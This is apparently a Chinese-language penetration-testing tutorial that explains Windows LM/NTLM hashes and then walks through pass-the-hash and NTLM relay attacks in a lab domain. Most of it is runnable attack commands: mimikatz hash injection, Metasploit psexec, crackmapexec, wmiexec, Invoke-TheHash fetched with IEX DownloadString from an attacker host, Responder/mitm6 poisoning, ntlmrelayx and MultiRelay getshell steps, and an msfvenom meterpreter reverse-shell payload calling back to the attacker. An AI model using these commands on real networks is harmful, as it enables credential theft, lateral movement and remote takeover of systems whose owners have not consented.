参考链接:
基础知识
SSP&SSPI
- SSPI(Security Support Provider Interface),安全服务提供接口
- SSP(Security Service Provider),安全服务提供,实现SSP的角色,如NTLM SSP、Kerberos SSP、Digest SSP、Cred SSP等
Windows认证
Windows认证不通过明文密码而通过Hash值认证。
Windows中最常见的是NTLM认证和Kerberos认证。
LM Hash&NTLM Hash
本地用户保存用户密码Hash值再SAM文件中,位置是%SystemRoot%\system32\config\SAM
,域用户的Hash值位于NTDS.dit
中,文件位置是C:\WINDOWS\NTDS\ntds.dit
,以下是Hash值格式
1 | Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0::: |
其中的 AAD3B435B51404EEAAD3B435B51404EE
是LM Hash
,31D6CFE0D16AE931B73C59D7E0C089C0
是NTLM Hash
。
LM Hash
LM Hash 的全称为 LAN Manager Hash,这是 Windows 中最早用的加密算法。
LM Hash的计算方式如下:
1 | 1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。 |
NTLM Hash
为了解决 LM Hash 加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议。下面是各个版本对LM和NTLM的支持。
从Windows Vista
和 Windows Server 2008
开始,默认情况下只存储 NTLM Hash,LM Hash 将不再存在。如果空密码或者不储蓄 LM Hash 的话,我们抓到的LM Hash是 AAD3B435B51404EEAAD3B435B51404EE
。所以在 Windows 7 中我们看到抓到 LM Hash 都是AAD3B435B51404EEAAD3B435B51404EE
,没有意义。
LM Hash
的计算方式如下:
1 | 1.先将用户密码转换为十六进制格式。 |
NTLM身份认证
Windows 的 NTLM 认证就是利用 NTLM Hash 进行的认证,可以分为 本地认证 和 网络认证 两种方式。NTLM 的网络认证,既可用于域内
的认证服务,又可用于工作组
环境。NTLM 有 NTLMv1
、NTLMv2
、NTLMsession v2
三个版本,目前使用最多的是NTLMv2
版本。
NTLM本地认证
当用户在 Windows 本地登录时,用户的密码存储在本地计算机的 SAM
文件里,当用户输入密码进行本地认证的过程中,用户输入的密码将为被转化为 NTLM Hash
,然后与SAM中的NTLM Hash进行比较。当用户注销、重启、锁屏后,操作系统会让 winlogon.exe
显示登录界面(输入框)。当 winlogon.exe
接收输入后,会将密码交给lsass进程。lsass.exe
是一个系统进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略,这个进程中会存一份明文密码,将明文密码加密成 NTLM Hash
,对SAM
数据库比较认证。
NTLM在工作组中的认证
NTLM在工作组和在域中都采用Challenge/Response
验证机制,由如下三个部分组成
- type1: 协商(negotiate)
- type2: 质询(challenge)
- type3: 身份验证(Authenticate)
用如下图可概括
NTLM在域环境中的认证
依旧是type1、2、3,不过是身份验证部分交给了DC来进行
如下图概括
Net-NTLM Hash
Net-NTLM Hash 是网络环境下 NTLM 认证的散列值。NTLM v1
响应和 NTLM v2
响应对应的就是 Net-NTLM Hash
分为 Net-NTLM Hash v1
和 Net-NTLM Hash v2
。
Net-NTLM Hash v1的格式为:
1 | username::hostname:LM response:NTLM response:challenge |
Net-NTLM Hash v2的格式为:
1 | username::domain:challenge:HMAC-MD5:blob |
PTH哈希传递攻击
利用原理
用户进行WindowsNTLM认证时采用Hash值而不是明文密码,因此理论上只要得到了其他内网用户的Hash值,就可以利用Hash值远程登录目标主机或者反弹shell。
利用条件
- 被pth攻击的计算机未打补丁(KB2871997)
- 拿到一台域成员主机并且拿到管理员组的域用户的NTLM(难,一般没有)
- 对方主机存在相同账号并且是管理员组成员
拓扑图
利用过程
在win7上上传mimikatz
,尝试抓取其他用户的NTLM Hash
值
1 | privilege::debug |
添加到lsass中
1 | sekurlsa::pth /user:administrator /domain:pentest.com /ntlm:6ab1932ee89eb324fc92d609efe46c3d |
然后会弹出一个新的窗口
此时可以查看共享目录并且上传反弹马进一步利用
1 | copy bindshell.exe \\OWA\c$ // 将msf木马bindshell.exe复制到目标机器上 |
命令总结
1 | mimikatz.exe privilege::debug "sekurlsa::pth /domain:workgroup /user:administrator /ntlm:4d6e43b2cdc951808100f5b1d09aac63 /run:cmd.exe" |
使用Metasploit进行PTH攻击
通常使用三个模块进行PTH攻击
1 | auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令 |
使用smb/psexec模块进行攻击
1 | use exploit/windows/smb/psexec |
上面的Hash可以用明文密码也可以用Hash值,格式是LM Hash:NTLM Hash,若不清楚LM Hash可以用32个0代替
攻击成功,直接是SYSTEM
权限,接下来可以构造黄金票据留后门。不要忘了设置通向内网的路由或者代理。
crackmapexec进行攻击
命令
1 | crackmapexec smb 192.168.2.2 -u administrator -H 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d -d pentest.com -x whoami |
1 | root@kali:~/Desktop# crackmapexec smb 192.168.2.2 -u administrator -H 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d -d pentest.com -x whoami |
利用WmiExec进行PTH攻击
1 | python3 wmiexec.py -hashes 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d pentest/administrator@192.168.2.2 "whoami" |
exe版本的同理
利用Invoke-Thehash进行Pth攻击
下载地址:https://github.com/Kevin-Robertson/Invoke-TheHash
Invoke-TheHash项目是一个基于.Net TCPClient,通过把NTLM hash传递给NTLMv2身份验证协议来进行身份验证的攻击套件,且执行时客户端不需要本地管理员权限。
支持对内网IP进行批量PTH攻击!!!
1 | IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.128:8000/Invoke-TheHash/Invoke-WMIExec.ps1'); |
- -Target :目标主机名或IP地址/段。
- -Username:用于身份验证的用户名。
- -Domain:用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
- -Hash:用于身份验证的NTLM密码哈希(格式:LM:NTLM 或 NTLM)。
- -Command:在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的SCM。
PTH攻击的预防
微软在2014年5月发布了 KB2871997
和 KB2928120
两个补丁。KB2871997
是针对PTH攻击的,这个被称为“PTH杀手
”的更新将使本地帐号不再可以用于远程接入系统,不管是 Network logon 还是 Interactive login。其后果就是:无法通过本地管理员权限对远程计算机使用 Psexec
、WMI
、smbexec
、IPC
等,也无法访问远程主机的文件共享等。
但是在测试中发现,在打了 kb2871997
这个补丁后,常规的哈希传递已经无法成功,但是唯独默认的 Administrator(SID 500)
帐号例外,利用这个账号仍可以进行哈希传递。注意即使把Administrator改名了,它的SID
仍然是500,只要它还是 SID 500那么以前的攻击方法还是有效。
利用 NTLM 进行内网信息收集
在NTLM认证中 TYPE 2
消息返回 Challenge
的过程中,同时返回了操作系统类型,主机名,NetBIOS 名称等。这也就意味着如果我们在能跟服务器进行 NTLM 交流中,给服务器发送一个 TYPE 1
的请求,服务器返回 TYPE 2 消息的响应,这一步,我们就可以得到很多信息。
NTLM Relay
NTLM hash 分为 NTLMv1
NTLMv2
NTLM session v2
三种,NTLMv2
的强度比 NTLMv1
强了不少 ,我们在实战中,如果获得的是NTLMv1
的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2
,NTLMv2
的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下NTLM Relay
攻击。
在这个NTLM Relay
中,我们就是要将截获的Net-NTLM Hash
重放来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay
。
获取Net-NTLM Hash
前置知识
LLMNR
链路本地多播名称解析(LLMNR)Link-Local Multicast Name Resolution,是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4
和IPv6
的主机来执行名称解析为同一本地链路上的主机
如果用户访问另一台主机,在内部缓存和DNS
服务器解析失败时,就会启用LLMNR
,向局域网内主机通过UDP
发送多播查询,收到请求的主机若发现请求解析的主机名是自己就会返回自己IP,不是则丢弃
NetBIOS
Netbios
(Network Basic Input Output System),网络基本输入输出系统,NetBIOS的工作流程就是正常的机器名解析查询应答过程,NetBIOS也是计算机标识名称。
Windows系统名称解析顺序
- 本地hosts文件(%windir%\System32\drivers\etc\hosts)
- DNS缓存/DNS服务器
- 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
由于第三过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。通过工具监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。
获取原理
我们此处利用SMB协议获取Net-NTLM Hash
(对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以攻击者可以模拟SMB服务器从而截获hash),当用户使用LLMNR
和NetBIOS
进行计算机名称解析时,我们可以要求受害者主机进行身份验证,从而得到Net-NTLM Hash
。
工具:
利用LLMNR和NetBIOS欺骗
在攻击机responsder开启监听
1 | responder -I eth0 -f -v |
- -I:指定使用的网卡
- -f:允许攻击者查看受害者的主机指纹
- -v:显示详细信息,responder 在截获目标的 Net-NTLM Hash 后,会将 Net-NTLM Hash 记录在
日志
中,之后再次截获将不再显示 Net-NTLM Hash,要想再次显示 Net-NTLM Hash 则需要加上这个-v
选项
此时在win7尝试连接未命名主机
1 | net use \\bunny |
kali得到了Net-NTLM Hash:
利用WPAD劫持
- PAC:
全称代理自动配置文件(Proxy Auto-Config),该文件定义了浏览器和其他用户代理如何自动选择适当的代理服务器来访问一个URL。要使用 PAC,我们应当在一个网页服务器上发布一个PAC文件,并且通过在浏览器的代理链接设置页面输入这个PAC文件的URL或者通过使用WPAD协议告知用户代理去使用这个文件。在 WPAD 标准中,PAC 文件使用 wpad.dat,PAC文件举例:1
2
3
4
5
6
7#!js
function FindProxyForURL(url, host) {
if (url== 'http://www.baidu.com/') return 'DIRECT';
if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
return 'DIRECT';
} - WPAD:
WPAD 网络代理自动发现协议是一种客户端使用DCHP、DNS、LLMNR、NBNS 协议来定位一个代理配置文件(PAC)URL的方法。WPAD 通过让浏览器自动发现代理服务器,查找存放 PAC 文件的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。
在浏览器设置为 “自动检测代理设置” 的情况下,用户在访问网页时,首先会查询 PAC 文件的位置,然后获取 PAC 文件,将 PAC 文件作为代理配置文件。查询 PAC 文件的顺序如下:
- 通过 DHCP 服务器
- 查询 WPAD 主机的IP
- Hosts
- DNS (cache / server)
- LLMNR
- NBNS
这个地方就涉及到两种攻击劫持的方式。
利用LLMNR/NBNS投毒
利用条件
浏览器设置了自动检测代理设置
利用原理
假如域内没有配置域名放置wpad.dat
的话,就会使用LLMNR
询问WPAD
的IP,此时攻击者准备好wpad.dat
文件,当LLMNR问询到攻击机时,就可以伪造网页要求输入账号密码获取Net-NTLM Hash
,诱导下载exe文件等。
利用过程
在攻击机打开responder监听,并开启WDAP服务器
1 | responder -I eth0 -r on -v -F on -w on |
- -w:开启 WPAD 服务
- -F:强制进行
此时在win7(受害者主机)上访问baidu.com时,就会弹出要求输入账号密码的窗口
如果员工安全意识不强,输入了账号密码,就会被获取Net-NTLM Hash
限制绕过
限制条件
很不幸的是,微软在2016年发布了 MS16-077
安全公告,添加了两个重要的保护措施,以缓解这类攻击行为:
- 系统再也无法通过
广播协议
来解析 WPAD 文件的位置,只能通过使用DHCP
或DNS
协议完成该任务。 - 更改了 PAC 文件下载的默认行为,以便当 WinHTTP 请求 PAC 文件时,不会自动发送客户端的域凭据来响应 NTLM 或协商身份验证质询。
绕过原理
有的Windows系统都会默认启用 IPv6
网络,并且其优先级要高于 IPv4
网络,在 DHCP V6
协议中,客户端通过向组播地址 [ff02::1:2] 发送 Solicit 报文来定位 DHCP V6
服务器,可以通过将受害者的DNS服务器地址设置为攻击者的IP地址,这样查询WPAD配置的时候就会到攻击机上获取
原理请看原文:https://mp.weixin.qq.com/s/UA9P-lgiS1oIrv4oL_mD-g
绕过方法
工具:https://github.com/fox-it/mitm6
首先查看攻击机的IPv6
在攻击机上监听网卡上的DHCP v6
流量
1 | mitm6 -d pentest.com -i eth0 |
此时如果受害者重新进行网络配置如重启、重新插入网线等,就会为受害者分配一个IPv6地址
此时受害者的DNS服务器地址已经变成了攻击机的IPv6
第二步限制条件,只需要通过responder保持-F选项,保持截获Net-HTLM Hash的行为即可
绕过总结
1 | 攻击机执行: |
其他方法
参考
SMB Relay(SMB中继)攻击
利用原理
抓取用户的Net-NTLM Hash
进行重放,也叫relay,SMB协议的Relay攻击是最直接有效的方法,可以直接控制该服务器(包括但不限于在远程服务器上执行命令、上传exe到远程主机上执行、dump 服务器的用户hash等等)。
利用环境
这里主要有两种场景
详情见:https://www.anquanke.com/post/id/194069#h2-4
- 工作组环境
这个实用性比较差。在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码Hash只是保存在自己的SAM文件中,这个时候Relay到别的机器,除非两台机器的账号密码一样(如果账号密码一样,我为啥不直接pth呢),不然没有别的意义了,这个时候的攻击手段就是将机器reflect回机子本身。因此微软在ms08-068中对smb reflect到 smb 做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLMhash relay。这个补丁在**CVE-2019-1384(Ghost Potato)**被绕过。
自从MS08-068漏洞修复之后无法再将Net-NTLM哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了SMB签名。
链接:https://www.jianshu.com/p/c7d8e7d9c03c
- 域环境
域环境底下域用户的账号密码Hash保存在域控的 ntds.dit里面。如下没有限制域用户登录到某台机子,那就可以将该域用户Relay到别人的机子,或者是拿到域控的请求,将域控Relay到普通的机子,比如域管运维所在的机子。(为啥不Relay到其他域控,因为域内就域控默认开启smb签名)
拓扑图
使用Responder中的MultiRelayx.py进行SMB Relay攻击
利用过程
使用responder内的RunFinger.py工具扫描域内机器的SMB签名情况
1 | python3 RunFinger.py -i 192.168.2.0/24 |
可以看到Signing是false的机器都是可以利用的
接下来使用MultiRelay.py开始监听,准备getshell
1 | python3 MultiRelay.py -t 192.168.2.3 -u ALL |
Responder.conf的SMB、HTTP设置为Off,不拦截Net-NTLM Hash,对请求作出响应
启动Responder,监听对应域内的网卡
1 | responder -I eth0 |
在域控发出SMB请求给一个不存在的用户,触发LLNMR/NBNS
,如
1 | net use \\hhh |
此时查看结果成功getshell,是SYSTEM
权限
攻击总结
- 查看SMB签名的情况
1
python3 RunFinger.py -i 192.168.2.0/24
- MultiRelay.py设置要攻击的目标
1
python3 MultiRelay.py -t 192.168.2.3 -u ALL
- 设置responder,关闭SMB和HTTP
1
2SMB = Off
HTTP = Off - 开启responder监听
1
responder -I eth0
- 域控发出SMB请求getshell
1
net use \\hhh
使用impacket的smbrelay.py进行SMB Relay攻击
攻击机本地开启smb服务器
1 | python3 smbrelayx.py -h 192.168.2.3 |
受害机对攻击机发出SMB请求
1 | net use \\192.168.2.128 |
执行命令成功
实际应用
现实中,只执行一条命令是不现实的,可以-e
选项,通过让受害者运行本地的exe文件来维持权限
先生成exe文件
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.128 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\shell.exe |
然后运行smbrelayx.py脚本,当监听到smb请求时运行shell
1
2python3 smbrelayx.py -h 192.168.2.3 -e /root/shell.exe
#python3 smbrelayx.py -h 攻击主机 -e 运行程序
开启metasploit,设置如下
1 | set payload windows/metepreter/reverse_tcp |
设置AutoRunScript是为了得到session之后迁移进程,因为smbrelayx在执行exe之后会remove file,导致session中断
此时win server2008访问smb服务器
1 | net use \\192.168.2.128\c$ |
得到session
Metasploit的smb_relay模块
模块windows/smb/smb_relay
攻击方法,msf设置好后,受害者向攻击机发起smb请求,就能get到受害者的shell
(注意:Metasploit的SMBRelay只支持NTLMv1
,所以在攻击一些机器时会出现“Failed to authenticate”的情况)
这个攻击手段就是将机器reflect回机子本身。然而微软在ms08-068
中对smb reflect到 smb 做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLMhash relay。这个补丁在CVE-2019-1384(Ghost Potato)
被绕过。
Impacket的ntlmrelayx进行攻击
- 开启responder(开不开影响不大,开了更好,有响应)
1
responder -I eth0
- 使用ntlmrelayx进行监听攻击
1
2python3 ntlmrelayx.py -h 192.168.2.3 -c whoami -smb2support
python3 ntlmrelayx.py -h 要攻击的主机 -c 执行命令 -smb2support(开启smb2支持) - win server通过smb或者http访问攻击机
- 查看结果
- 实际渗透过程中
-c
命令可以改为conbalt strike的powershell的命令或者Empire的